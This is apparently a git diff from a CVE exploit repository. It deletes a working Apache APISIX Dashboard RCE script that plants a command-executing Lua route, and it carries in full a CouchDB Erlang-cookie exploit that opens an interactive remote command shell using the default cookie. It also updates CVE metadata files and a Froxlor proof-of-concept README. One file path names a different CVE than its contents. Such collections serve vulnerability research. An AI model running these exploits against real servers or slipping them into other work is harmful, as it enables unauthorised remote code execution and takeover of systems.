diff --git a/cve/Apache-APISIX/2021/cve-2021-45232/apisix_dashboard_rce.py b/cve/Apache-APISIX/2021/cve-2021-45232/apisix_dashboard_rce.py
deleted file mode 100644
index edd12c9f1d0ba6168ef5179a32a544486d7213dc..0000000000000000000000000000000000000000
--- a/cve/Apache-APISIX/2021/cve-2021-45232/apisix_dashboard_rce.py
+++ /dev/null
@@ -1,93 +0,0 @@
-#!/usr/bin/env python3
-import zlib
-import json
-import random
-import requests
-import string
-import sys
-from urllib3.exceptions import InsecureRequestWarning
-
-# Suppress only the single warning from urllib3 needed.
-requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
-
-
-eval_config = {
- "Counsumers": [],
- "Routes": [
- {
- "id": str(random.randint(100000000000000000, 1000000000000000000)),
- "create_time": 1640674554,
- "update_time": 1640677637,
- "uris": [
- "/rce"
- ],
- "name": "rce",
- "methods": [
- "GET",
- "POST",
- "PUT",
- "DELETE",
- "PATCH",
- "HEAD",
- "OPTIONS",
- "CONNECT",
- "TRACE"
- ],
- "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
- "status": 1
- }
- ],
- "Services": [],
- "SSLs": [],
- "Upstreams": [],
- "Scripts": [],
- "GlobalPlugins": [],
- "PluginConfigs": []
-}
-
-
-def random_str():
- return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
-
-
-def calc_crc(data):
- crc32 = zlib.crc32(data) & 0xffffffff
- return crc32.to_bytes(4, byteorder="big")
-
-
-def export_data(url):
- r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
- return r.text[:-4]
-
-
-def import_data(url, data):
- data = json.dumps(data).encode()
- crc32 = calc_crc(data)
-
- files = {"file": ("data", data + crc32, "text/data")}
- resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
- # print(resp.text)
- if resp.json().get("code", -1) == 0:
- return True
- else:
- return False
-
-
-if __name__ == "__main__":
- if len(sys.argv) != 2:
- print("python " + sys.argv[0] + " http://127.0.0.1:9000")
- exit()
-
- url = sys.argv[1]
- if url.endswith("/"):
- url = url[:-1]
-
- uri = random_str()
- eval_config["Routes"][0]["uris"] = [ "/" + uri]
- eval_config["Routes"][0]["name"] = uri
-
- if import_data(url, eval_config):
- print("attack success")
- print("uri is: " + "/" + uri)
- else:
- print("attack error")
\ No newline at end of file
diff --git a/cve/Apache-APISIX/2021/yaml/ cve-2021-45232.yaml b/cve/Apache-APISIX/2021/yaml/ cve-2021-45232.yaml
index ad102017e26ecb22741a65bbfed063bfe70dcce9..3041c77691c888a6c2abd26d4808d2f3d5cf123c 100644
--- a/cve/Apache-APISIX/2021/yaml/ cve-2021-45232.yaml
+++ b/cve/Apache-APISIX/2021/yaml/ cve-2021-45232.yaml
@@ -1,22 +1,22 @@
-id: CVE-2021-45232
-source: https://github.com/wuppp/cve-2021-45232-exp
-info:
- name: Apache APISIX Dashboard 是 Apache APISIX 网关 的可视化管理界面。
- severity: CRITICAL
- description:
- CVE-2021-45232 中,攻击者可构造恶意请求,获取到 apisix 的配置文件信息,或者利用其他接口导入恶意配置,利用APISIX Script功能从而执行任意命令。
- scope-of-influence:
- In Apache APISIX Dashboard before 2.10.1
- reference:
- - http://www.openwall.com/lists/oss-security/2021/12/27/1
- - https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232
- - https://lists.apache.org/thread/979qbl6vlm8269fopfyygnxofgqyn6k5
- - https://seclists.org/oss-sec/2021/q4/180
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2021-45232
- cwe-id: CWE-306
- cnvd-id: None
- kve-id: None
+id: CVE-2021-45232
+source: https://github.com/wuppp/cve-2021-45232-exp
+info:
+ name: Apache APISIX Dashboard 是 Apache APISIX 网关 的可视化管理界面。
+ severity: CRITICAL
+ description:
+ CVE-2021-45232 中,攻击者可构造恶意请求,获取到 apisix 的配置文件信息,或者利用其他接口导入恶意配置,利用APISIX Script功能从而执行任意命令。
+ scope-of-influence:
+ In Apache APISIX Dashboard before 2.10.1
+ reference:
+ - http://www.openwall.com/lists/oss-security/2021/12/27/1
+ - https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232
+ - https://lists.apache.org/thread/979qbl6vlm8269fopfyygnxofgqyn6k5
+ - https://seclists.org/oss-sec/2021/q4/180
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2021-45232
+ cwe-id: CWE-306
+ cnvd-id: None
+ kve-id: None
tags: cve2021
\ No newline at end of file
diff --git a/cve/Froxlor/2023/CVE-2023-0315/README.md b/cve/Froxlor/2023/CVE-2023-0315/README.md
index d0fe71ba89cc6d5e5d30594e95341686d0f35559..cfd00af28925574386fc195d8af2713ca63929fa 100644
--- a/cve/Froxlor/2023/CVE-2023-0315/README.md
+++ b/cve/Froxlor/2023/CVE-2023-0315/README.md
@@ -1,28 +1,28 @@
-# CVE-2023-0315 Proof-of-Concept
-### Overview
-This is a Remote Code Execution Proof-of-Concept for Froxlor 2.0.3 Stable Vulnerability CVE-2023-0315.
-It exploits a command injection vulnerability in Froxlor prior to version 2.0.8.
-An authenticated attacker can achieve a full remote command execution on OS level under the web server user.
-For a comprehensive understanding, check out the accompanying [blog post](https://huntr.dev/bounties/ff4e177b-ba48-4913-bbfa-ab8ce0db5943) for in-depth details.
-
-### Dependencies
-* Froxlor 2.0.3 Stable
-* Python 3.8+
-* `requests` Python Library
-* `beautifulsoup4` Python Library
-* Ubuntu 20.04
-* PHP 8.2
-### Usage
-
-1.Verify the required libraries are installed:
-```
-pip install requests beautifulsoup4
-```
-2.Change the target URL, credentials, and any other required variables to match your vulnerable Froxlor instance.
-
-3.Run the PoC:
-```
-python cve-2023-0315.py
-```
-### Additional Information
-This PoC targets Froxlor 2.0.3 Stable and has been tested on Ubuntu 20.04 with PHP 8.2. The vulnerability was patched in Froxlor version 2.0.8. To protect against this vulnerability, it is recommended to update Froxlor to the latest version.
+# CVE-2023-0315 Proof-of-Concept
+### Overview
+This is a Remote Code Execution Proof-of-Concept for Froxlor 2.0.3 Stable Vulnerability CVE-2023-0315.
+It exploits a command injection vulnerability in Froxlor prior to version 2.0.8.
+An authenticated attacker can achieve a full remote command execution on OS level under the web server user.
+For a comprehensive understanding, check out the accompanying [blog post](https://huntr.dev/bounties/ff4e177b-ba48-4913-bbfa-ab8ce0db5943) for in-depth details.
+
+### Dependencies
+* Froxlor 2.0.3 Stable
+* Python 3.8+
+* `requests` Python Library
+* `beautifulsoup4` Python Library
+* Ubuntu 20.04
+* PHP 8.2
+### Usage
+
+1.Verify the required libraries are installed:
+```
+pip install requests beautifulsoup4
+```
+2.Change the target URL, credentials, and any other required variables to match your vulnerable Froxlor instance.
+
+3.Run the PoC:
+```
+python cve-2023-0315.py
+```
+### Additional Information
+This PoC targets Froxlor 2.0.3 Stable and has been tested on Ubuntu 20.04 with PHP 8.2. The vulnerability was patched in Froxlor version 2.0.8. To protect against this vulnerability, it is recommended to update Froxlor to the latest version.
diff --git a/cve/Froxlor/2023/yaml/CVE-2023-0315.yaml b/cve/Froxlor/2023/yaml/CVE-2023-0315.yaml
index 5823536abbef629b12ff077f4ea608daf7ab157d..d0b9db0de60b1635c0ec91c214025ad4a0966973 100644
--- a/cve/Froxlor/2023/yaml/CVE-2023-0315.yaml
+++ b/cve/Froxlor/2023/yaml/CVE-2023-0315.yaml
@@ -1,21 +1,21 @@
-id: CVE-2023-0315
-source:
- https://github.com/mhaskar/CVE-2023-0315
-info:
- name: Froxlor是一款易于使用且功能强大的服务器管理面板,用于管理各种主机和域名服务。
- severity: high
- description: |
- Froxlor 2.0.8 之前的版本存在远程代码执行漏洞。攻击者可以在未经身份验证的情况下利用这个漏洞在OS级别执行任意代码。
- scope-of-influence:
- Froxlor 2.0.8 之前的版本
- reference:
- - https://nvd.nist.gov/vuln/detail/CVE-2023-0315
- - https://github.com/froxlor/froxlor/commit/090cfc26f2722ac3036cc7fd1861955bc36f065a
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 8.8
- cve-id: CVE-2023-0315
- cwe-id: CWE-77
- cnvd-id: None
- kve-id: None
- tags: 远程代码执行, RCE
+id: CVE-2023-0315
+source:
+ https://github.com/mhaskar/CVE-2023-0315
+info:
+ name: Froxlor是一款易于使用且功能强大的服务器管理面板,用于管理各种主机和域名服务。
+ severity: high
+ description: |
+ Froxlor 2.0.8 之前的版本存在远程代码执行漏洞。攻击者可以在未经身份验证的情况下利用这个漏洞在OS级别执行任意代码。
+ scope-of-influence:
+ Froxlor 2.0.8 之前的版本
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-0315
+ - https://github.com/froxlor/froxlor/commit/090cfc26f2722ac3036cc7fd1861955bc36f065a
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 8.8
+ cve-id: CVE-2023-0315
+ cwe-id: CWE-77
+ cnvd-id: None
+ kve-id: None
+ tags: 远程代码执行, RCE
diff --git a/cve/Node.JS/2021/yaml/CVE-2023-1355.yaml b/cve/Node.JS/2021/yaml/CVE-2023-1355.yaml
index e4ffd901215e4b0b6ae8be0bc862d05aba547459..a0a833e06766cde7540ad812ecf9c475065d726e 100644
--- a/cve/Node.JS/2021/yaml/CVE-2023-1355.yaml
+++ b/cve/Node.JS/2021/yaml/CVE-2023-1355.yaml
@@ -1,22 +1,22 @@
-id: CVE-2021-21315
-source: https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
-info:
- name: Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。
- severity: HIGH
- description: |
- Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。
- scope-of-influence:
- Node.js-systeminformation<5.3.1
- reference:
- - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
- - https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525
- - https://security.netapp.com/advisory/ntap-20210312-0007/
- - https://www.npmjs.com/package/systeminformation
- classification:
- cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 7.8
- cve-id: CVE-2021-21315
- cwe-id: CWE-78
- cnvd-id: None
- kve-id: None
+id: CVE-2021-21315
+source: https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
+info:
+ name: Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。
+ severity: HIGH
+ description: |
+ Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。
+ scope-of-influence:
+ Node.js-systeminformation<5.3.1
+ reference:
+ - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC
+ - https://github.com/sebhildebrandt/systeminformation/commit/07daa05fb06f24f96297abaa30c2ace8bfd8b525
+ - https://security.netapp.com/advisory/ntap-20210312-0007/
+ - https://www.npmjs.com/package/systeminformation
+ classification:
+ cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 7.8
+ cve-id: CVE-2021-21315
+ cwe-id: CWE-78
+ cnvd-id: None
+ kve-id: None
tags: cve2021, 系统入侵
\ No newline at end of file
diff --git a/cve/Outlook/2023/yaml/CVE-2023-23397.yaml b/cve/Outlook/2023/yaml/CVE-2023-23397.yaml
index 11f0fd086319ad74ef1f9036891f68b337111330..497f08e0b288cc0acb7d09a48ab7fd128a7579b1 100644
--- a/cve/Outlook/2023/yaml/CVE-2023-23397.yaml
+++ b/cve/Outlook/2023/yaml/CVE-2023-23397.yaml
@@ -1,19 +1,19 @@
-id: CVE-2023-23397
-source: https://github.com/Trackflaw/CVE-2023-23397
-info:
- name: Microsoft Outlook 特权提升漏洞。Outlook缺乏对允许配置会议和约会提醒声音的用户输入的控制,攻击者能够强制受害者连接到其服务器,而无需用户进行任何操作(零点击漏洞)。利用此漏洞的攻击者通过SMB请求根据受困用户的密码检索NetNTLMv2摘要。一旦邮件到达收件箱,请求就会被触发。
- severity: critical
- description: |
- Outlook suffers from a lack of control over the user input that allows to configure the sound of a meeting and appointment reminder. Indeed, an attacker is able to force a victim to make a connection to its server without any manipulation from the user (zero click vulnerability).
- scope-of-influence:
- outlook-2013, outlook-2016, outlook-2019
- reference:
- - https://nvd.nist.gov/vuln/detail/CVE-2023-23397
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2023-23397
- cwe-id: CWE-294
- cnvd-id: None
- kve-id: None
+id: CVE-2023-23397
+source: https://github.com/Trackflaw/CVE-2023-23397
+info:
+ name: Microsoft Outlook 特权提升漏洞。Outlook缺乏对允许配置会议和约会提醒声音的用户输入的控制,攻击者能够强制受害者连接到其服务器,而无需用户进行任何操作(零点击漏洞)。利用此漏洞的攻击者通过SMB请求根据受困用户的密码检索NetNTLMv2摘要。一旦邮件到达收件箱,请求就会被触发。
+ severity: critical
+ description: |
+ Outlook suffers from a lack of control over the user input that allows to configure the sound of a meeting and appointment reminder. Indeed, an attacker is able to force a victim to make a connection to its server without any manipulation from the user (zero click vulnerability).
+ scope-of-influence:
+ outlook-2013, outlook-2016, outlook-2019
+ reference:
+ - https://nvd.nist.gov/vuln/detail/CVE-2023-23397
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2023-23397
+ cwe-id: CWE-294
+ cnvd-id: None
+ kve-id: None
tags: Microsoft, Outlook, cve2023, 权限提升漏洞
\ No newline at end of file
diff --git a/cve/apache-CouchDB/2022/CVE-2022-24706/CVE-2022-24706-Exploit.py b/cve/apache-CouchDB/2022/CVE-2022-24706/CVE-2022-24706-Exploit.py
index 94a6e36024cf1f1d89edbbc35e211da195c8bcbd..5b9c6d1fb71beac66e37aee92341413d4302374b 100644
--- a/cve/apache-CouchDB/2022/CVE-2022-24706/CVE-2022-24706-Exploit.py
+++ b/cve/apache-CouchDB/2022/CVE-2022-24706/CVE-2022-24706-Exploit.py
@@ -1,136 +1,136 @@
-# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
-# Date: 2022-01-21
-# Exploit Author: Konstantin Burov, @_sadshade
-# Software Link: https://couchdb.apache.org/
-# Version: 3.2.1 and below
-# Tested on: Kali 2021.2
-# Based on 1F98D's Erlang Cookie - Remote Code Execution
-# Shodan: port:4369 "name couchdb at"
-# CVE: CVE-2022-24706
-# References:
-# https://habr.com/ru/post/661195/
-# https://www.exploit-db.com/exploits/49418
-# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
-# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
-#
-#
-#!/usr/local/bin/python3
-
-import socket
-from hashlib import md5
-import struct
-import sys
-import re
-import time
-
-TARGET = ""
-EPMD_PORT = 4369 # Default Erlang distributed port
-COOKIE = "monster" # Default Erlang cookie for CouchDB
-ERLNAG_PORT = 0
-EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
-
-# Some data:
-NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
-CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
-CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
-CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
-
-
-def compile_cmd(CMD):
- MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
- MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
- MSG += struct.pack(">H", len(CMD))
- MSG += bytes(CMD, 'ascii')
- MSG += b'jw\x04user'
- PAYLOAD = b'\x70' + CTRL_DATA + MSG
- PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
- return PAYLOAD
-
-print("Remote Command Execution via Erlang Distribution Protocol.\n")
-
-while not TARGET:
- TARGET = input("Enter target host:\n> ")
-
-# Connect to EPMD:
-try:
- epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- epm_socket.connect((TARGET, EPMD_PORT))
-except socket.error as msg:
- print("Couldnt connect to EPMD: %s\n terminating program" % msg)
- sys.exit(1)
-
-epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
-if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
- data = epm_socket.recv(1024)
- data = data[0:len(data) - 1].decode('ascii')
- data = data.split("\n")
- if len(data) == 1:
- choise = 1
- print("Found " + data[0])
- else:
- print("\nMore than one node found, choose which one to use:")
- line_number = 0
- for line in data:
- line_number += 1
- print(" %d) %s" %(line_number, line))
- choise = int(input("\n> "))
-
- ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
-else:
- print("Node list request error, exiting")
- sys.exit(1)
-epm_socket.close()
-
-# Connect to Erlang port:
-try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((TARGET, ERLNAG_PORT))
-except socket.error as msg:
- print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
- sys.exit(1)
-
-s.send(NAME_MSG)
-s.recv(5) # Receive "ok" message
-challenge = s.recv(1024) # Receive "challenge" message
-challenge = struct.unpack(">I", challenge[9:13])[0]
-
-#print("Extracted challenge: {}".format(challenge))
-
-# Add Challenge Digest
-CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
- + bytes(str(challenge), "ascii")).digest()
-s.send(CHALLENGE_REPLY)
-CHALLENGE_RESPONSE = s.recv(1024)
-
-if len(CHALLENGE_RESPONSE) == 0:
- print("Authentication failed, exiting")
- sys.exit(1)
-
-print("Authentication successful")
-print("Enter command:\n")
-
-data_size = 0
-while True:
- if data_size <= 0:
- CMD = input("> ")
- if not CMD:
- continue
- elif CMD == "exit":
- sys.exit(0)
- s.send(compile_cmd(CMD))
- data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
- s.recv(45) # Control message
- data_size -= 45 # Data size without control message
- time.sleep(0.1)
- elif data_size < 1024:
- data = s.recv(data_size)
- #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
- time.sleep(0.1)
- print(data.decode())
- data_size = 0
- else:
- data = s.recv(1024)
- #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
- time.sleep(0.1)
- print(data.decode(),end = '')
+# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
+# Date: 2022-01-21
+# Exploit Author: Konstantin Burov, @_sadshade
+# Software Link: https://couchdb.apache.org/
+# Version: 3.2.1 and below
+# Tested on: Kali 2021.2
+# Based on 1F98D's Erlang Cookie - Remote Code Execution
+# Shodan: port:4369 "name couchdb at"
+# CVE: CVE-2022-24706
+# References:
+# https://habr.com/ru/post/661195/
+# https://www.exploit-db.com/exploits/49418
+# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
+# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
+#
+#
+#!/usr/local/bin/python3
+
+import socket
+from hashlib import md5
+import struct
+import sys
+import re
+import time
+
+TARGET = ""
+EPMD_PORT = 4369 # Default Erlang distributed port
+COOKIE = "monster" # Default Erlang cookie for CouchDB
+ERLNAG_PORT = 0
+EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list
+
+# Some data:
+NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
+CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
+CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
+CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
+
+
+def compile_cmd(CMD):
+ MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
+ MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
+ MSG += struct.pack(">H", len(CMD))
+ MSG += bytes(CMD, 'ascii')
+ MSG += b'jw\x04user'
+ PAYLOAD = b'\x70' + CTRL_DATA + MSG
+ PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
+ return PAYLOAD
+
+print("Remote Command Execution via Erlang Distribution Protocol.\n")
+
+while not TARGET:
+ TARGET = input("Enter target host:\n> ")
+
+# Connect to EPMD:
+try:
+ epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ epm_socket.connect((TARGET, EPMD_PORT))
+except socket.error as msg:
+ print("Couldnt connect to EPMD: %s\n terminating program" % msg)
+ sys.exit(1)
+
+epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
+if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
+ data = epm_socket.recv(1024)
+ data = data[0:len(data) - 1].decode('ascii')
+ data = data.split("\n")
+ if len(data) == 1:
+ choise = 1
+ print("Found " + data[0])
+ else:
+ print("\nMore than one node found, choose which one to use:")
+ line_number = 0
+ for line in data:
+ line_number += 1
+ print(" %d) %s" %(line_number, line))
+ choise = int(input("\n> "))
+
+ ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
+else:
+ print("Node list request error, exiting")
+ sys.exit(1)
+epm_socket.close()
+
+# Connect to Erlang port:
+try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((TARGET, ERLNAG_PORT))
+except socket.error as msg:
+ print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
+ sys.exit(1)
+
+s.send(NAME_MSG)
+s.recv(5) # Receive "ok" message
+challenge = s.recv(1024) # Receive "challenge" message
+challenge = struct.unpack(">I", challenge[9:13])[0]
+
+#print("Extracted challenge: {}".format(challenge))
+
+# Add Challenge Digest
+CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ + bytes(str(challenge), "ascii")).digest()
+s.send(CHALLENGE_REPLY)
+CHALLENGE_RESPONSE = s.recv(1024)
+
+if len(CHALLENGE_RESPONSE) == 0:
+ print("Authentication failed, exiting")
+ sys.exit(1)
+
+print("Authentication successful")
+print("Enter command:\n")
+
+data_size = 0
+while True:
+ if data_size <= 0:
+ CMD = input("> ")
+ if not CMD:
+ continue
+ elif CMD == "exit":
+ sys.exit(0)
+ s.send(compile_cmd(CMD))
+ data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
+ s.recv(45) # Control message
+ data_size -= 45 # Data size without control message
+ time.sleep(0.1)
+ elif data_size < 1024:
+ data = s.recv(data_size)
+ #print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
+ time.sleep(0.1)
+ print(data.decode())
+ data_size = 0
+ else:
+ data = s.recv(1024)
+ #print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
+ time.sleep(0.1)
+ print(data.decode(),end = '')
data_size -= 1024
\ No newline at end of file
diff --git a/cve/apache-CouchDB/2022/CVE-2022-24706/README.md b/cve/apache-CouchDB/2022/CVE-2022-24706/README.md
index b001885847d8d79b55361cea7bb6f4884bda32ea..73708b8f9f3bc3e28523840bc45a9af73dc86c5d 100644
--- a/cve/apache-CouchDB/2022/CVE-2022-24706/README.md
+++ b/cve/apache-CouchDB/2022/CVE-2022-24706/README.md
@@ -1,26 +1,26 @@
-# Apache CouchDB 3.2.1 - Remote Code Execution (RCE) CVE-2022-24706
-Date: 2022-01-21
-
-Exploit Author: Konstantin Burov, @_sadshade
-
-Software Link: https://couchdb.apache.org/
-
-Version: 3.2.1 and below
-
-Tested on: Kali 2021.2
-
-Based on 1F98D's Erlang Cookie - Remote Code Execution
-
-Shodan: port:4369 "name couchdb at"
-
-CVE: CVE-2022-24706
-
-References:
-
-https://habr.com/ru/post/661195/
-
-https://www.exploit-db.com/exploits/49418
-
-https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
-
+# Apache CouchDB 3.2.1 - Remote Code Execution (RCE) CVE-2022-24706
+Date: 2022-01-21
+
+Exploit Author: Konstantin Burov, @_sadshade
+
+Software Link: https://couchdb.apache.org/
+
+Version: 3.2.1 and below
+
+Tested on: Kali 2021.2
+
+Based on 1F98D's Erlang Cookie - Remote Code Execution
+
+Shodan: port:4369 "name couchdb at"
+
+CVE: CVE-2022-24706
+
+References:
+
+https://habr.com/ru/post/661195/
+
+https://www.exploit-db.com/exploits/49418
+
+https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
+
https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
\ No newline at end of file
diff --git a/cve/apache-CouchDB/2022/yaml/CVE-2022-24706.yaml b/cve/apache-CouchDB/2022/yaml/CVE-2022-24706.yaml
index 50fd50933b6fd9d54ff9e4a4ad5160724bc76d9b..948e103ce736a38cdd4385322a4d9dfaf439fc2b 100644
--- a/cve/apache-CouchDB/2022/yaml/CVE-2022-24706.yaml
+++ b/cve/apache-CouchDB/2022/yaml/CVE-2022-24706.yaml
@@ -1,32 +1,32 @@
-id: CVE-2022-24706
-source: https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit
-info:
- name: Apache CouchDB 是一个面向文档的数据库管理系统。
- severity: critical
- description:
- 当CouchDB 以集群模式安装时,会开启epmd服务,并且监听相应端口。由于在默认安装过程中Apache CouchDB 将 Erlang Cookie默认设置为 monster,若未经修改,则攻击者可利用该cookie连接epmd,在知道fqdn的情况下执行任意代码,控制服务器。
- scope-of-influence:
- apache-CouchDB < 3.2.2
- reference:
- - http://packetstormsecurity.com/files/167032/Apache-CouchDB-3.2.1-Remote-Code-...
- - http://packetstormsecurity.com/files/169702/Apache-CouchDB-Erlang-Remote-Code...
- - http://www.openwall.com/lists/oss-security/2022/04/26/1
- - http://www.openwall.com/lists/oss-security/2022/05/09/1
- - http://www.openwall.com/lists/oss-security/2022/05/09/2
- - http://www.openwall.com/lists/oss-security/2022/05/09/3
- - http://www.openwall.com/lists/oss-security/2022/05/09/4
- - https://docs.couchdb.org/en/3.2.2/setup/cluster.html
- - https://lists.apache.org/thread/w24wo0h8nlctfps65txvk0oc5hdcnv00
- - https://medium.com/@_sadshade/couchdb-erlang-and-cookies-rce-on-default-setti...
- - https://www.openwall.com/lists/oss-security/2022/04/26/1
- classification:
- cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- cvss-score: 9.8
- cve-id: CVE-2022-24706
- cwe-id: CWE-1188
- cnvd-id: None
- kve-id: None
- tags:
- - 不安全的默认资源初始化
- - 弱口令要求
+id: CVE-2022-24706
+source: https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit
+info:
+ name: Apache CouchDB 是一个面向文档的数据库管理系统。
+ severity: critical
+ description:
+ 当CouchDB 以集群模式安装时,会开启epmd服务,并且监听相应端口。由于在默认安装过程中Apache CouchDB 将 Erlang Cookie默认设置为 monster,若未经修改,则攻击者可利用该cookie连接epmd,在知道fqdn的情况下执行任意代码,控制服务器。
+ scope-of-influence:
+ apache-CouchDB < 3.2.2
+ reference:
+ - http://packetstormsecurity.com/files/167032/Apache-CouchDB-3.2.1-Remote-Code-...
+ - http://packetstormsecurity.com/files/169702/Apache-CouchDB-Erlang-Remote-Code...
+ - http://www.openwall.com/lists/oss-security/2022/04/26/1
+ - http://www.openwall.com/lists/oss-security/2022/05/09/1
+ - http://www.openwall.com/lists/oss-security/2022/05/09/2
+ - http://www.openwall.com/lists/oss-security/2022/05/09/3
+ - http://www.openwall.com/lists/oss-security/2022/05/09/4
+ - https://docs.couchdb.org/en/3.2.2/setup/cluster.html
+ - https://lists.apache.org/thread/w24wo0h8nlctfps65txvk0oc5hdcnv00
+ - https://medium.com/@_sadshade/couchdb-erlang-and-cookies-rce-on-default-setti...
+ - https://www.openwall.com/lists/oss-security/2022/04/26/1
+ classification:
+ cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+ cvss-score: 9.8
+ cve-id: CVE-2022-24706
+ cwe-id: CWE-1188
+ cnvd-id: None
+ kve-id: None
+ tags:
+ - 不安全的默认资源初始化
+ - 弱口令要求
- 远程代码执行
\ No newline at end of file
diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml
index 684c223ab072bfdd3b63b13980189c50587b0c5c..ed82fde27a0b61684b15b8135e50115dde8fda27 100644
--- a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/pom.xml
@@ -1,60 +1,60 @@
-
-
- 4.0.0
-
- groupId
- DubboProtocolExploit
- 1.0-SNAPSHOT
-
-
-
- org.apache.maven.plugins
- maven-compiler-plugin
- 3.8.1
-
- 8
- 8
-
-
-
-
-
-
- org.apache.dubbo
- dubbo
- 2.7.3
-
-
- org.apache.dubbo
- dubbo-common
- 2.7.3
